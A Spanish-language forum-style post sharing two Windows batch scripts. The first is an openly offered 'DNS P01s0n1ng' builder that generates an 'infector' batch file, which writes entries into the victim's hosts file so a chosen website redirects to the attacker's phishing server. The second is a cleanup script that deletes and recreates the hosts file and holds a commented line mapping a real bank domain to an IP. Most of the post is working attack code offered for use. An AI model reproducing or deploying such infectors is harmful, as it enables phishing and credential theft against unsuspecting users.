Esta vez es otra herramienta batch que te generará otros códigos bat para infectar a la víctima y hacer una redirección de DNS de la página original a la página del atacante (Phishing).
El código esta más depurado y más simple, pero aún no utilize bucles para el diseño:
@echo off
color 0A
Title DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+] .#~1- Buscar IP del host donde aloja el Scam. [+]
echo [+] .#~2- Comenzar a crear el infectador. [+]
echo [+] .#~3- Salir. [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto sacarip
If ["%var%"]==["2"] goto crearinfectador
If ["%var%"]==["3"] goto salir
:sacarip
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+] .#~1- Escribe la url de tu p gina sin www. [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
set /p pagina=
if not defined pagina (goto:sacarip:)
ping %pagina%
ping %pagina% >> ip_de_%pagina%.txt
echo.
echo Presiona una tecla desp£es de haber apuntado la IP.
pause >nul
:crearinfectador
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+] .#~1- Escribir el nombre del infectador. [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
set /P nombre=
if not defined nombre (goto:crearinfectador)
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo .#~1- ¨Est s seguro de ponerle %nombre%?.
echo [+] .#~1- S¡. [+]
echo [+] .#~2- N¢. [+]
set /P r=
if not defined r (goto:crearinfectador)
cls
if %r%==1 (goto crearinfectador2)
if %r%==2 (goto crearinfectador)
:crearinfectador2
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+] .#~1- Escribe la IP de tu scam sin http://www. [+]
echo [+] .#~2- Ejemplo: 127.0.0.1 [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo.
set /P ip=
if not defined ip (goto:crearinfectador2)
goto crearinfectador3
:crearinfectador3
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+].#~1- Escribe la URL de la p gina a infectar win http://www..[+]
echo [+].#~2- Ejemplo: xtemp.org [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo.
set /P pag=
if not defined pag (goto:crearinfectador3)
goto crearinfectador4
:crearinfectador4
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo .#~1- ¨Est s seguro de estos datos %ip% / %pag%?.
echo [+] .#~1- S¡. [+]
echo [+] .#~2- N¢. [+]
set /P fin=
if not defined fin (goto:crearinfectador4)
if %fin%==1 (goto finalizar)
if %fin%==2 (goto crearinfectador4)
cls
:finalizar
cls
echo
_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo [+] /"\ l __ \ [+]
echo [+] l l_ __ ___l l__) l [+]
echo [+] / _` l '_ \/ __l ___/ [+]
echo [+] l (_l l l l \__ \ l [+]
echo [+] \__,_l_l l_l___/_l [+]
echo [+] .#~1- Finalizando creaci¢n del Batch. [+]
echo
[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by
X73MP______________[+]
echo ^@echo off>>%nombre%.bat
echo cd %windir%\System32\drivers\etc>>%nombre%.bat
echo echo %ip% %pag%^>^>hosts>>%nombre%.bat
echo echo %ip% www.%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://www.%pag%^>^>hosts>>%nombre%.bat
echo Creaci¢n del Batch que infectara perfectamente en:
echo %windir%\System32\drivers\etc\hosts
echo.
echo Gracias por usar este progama.
echo [email protected]
pause>nul
:salir
exit
exit
Y si se infectaron con este código se desinfectarán:
@echo off
color 0A
Title Anti-DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+] /\ l l l __ \ [+]
echo [+] / \ ______ __l l_ __ ___l l__) l [+]
echo [+] / /\ \______/ _` l '_ \/ __l ___/ [+]
echo [+] / ____ \ l (_l l l l \__ \ l [+]
echo [+] /_/ \_\ \__,_l_l l_l___/_l [+]
echo [+] ¨Quieres desinfectar el archivo HOST? [+]
echo [+] 1- S¡ [+]
echo [+] 2- N¢ [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto desinfectar
If ["%var%"]==["2"] goto salir
:desinfectar
cls
echo _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+] /\ l l l __ \ [+]
echo [+] / \ ______ __l l_ __ ___l l__) l [+]
echo [+] / /\ \______/ _` l '_ \/ __l ___/ [+]
echo [+] / ____ \ l (_l l l l \__ \ l [+]
echo [+] /_/ \_\ \__,_l_l l_l___/_l [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo ~#.Buscando archivo Host 10%
echo ~#.Eliminando archivo HOST 40%
del %windir%\System32\drivers\etc\hosts
echo ~#.Creando nuevo archivo Host 90%
cd %windir%\System32\drivers\etc\
echo # Anti-DNS P01s0n1ng v1.0 BETA by X73MP >> hosts
echo # [email protected] >> hosts
echo 127.0.0.1 localhost >> hosts
REM 72.9.233.146 www.banamex.com.mx >> hosts
echo ~#.Terminando aplicaci¢n 100%
echo ~#. Proceso terminado
pause>nul
:salir
cls
echo _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+] /\ l l l __ \ [+]
echo [+] / \ ______ __l l_ __ ___l l__) l [+]
echo [+] / /\ \______/ _` l '_ \/ __l ___/ [+]
echo [+] / ____ \ l (_l l l l \__ \ l [+]
echo [+] /_/ \_\ \__,_l_l l_l___/_l [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo Hasta la pr¢xima.
echo [email protected]
pause
exit
P.D. El código es viejo, saludos.
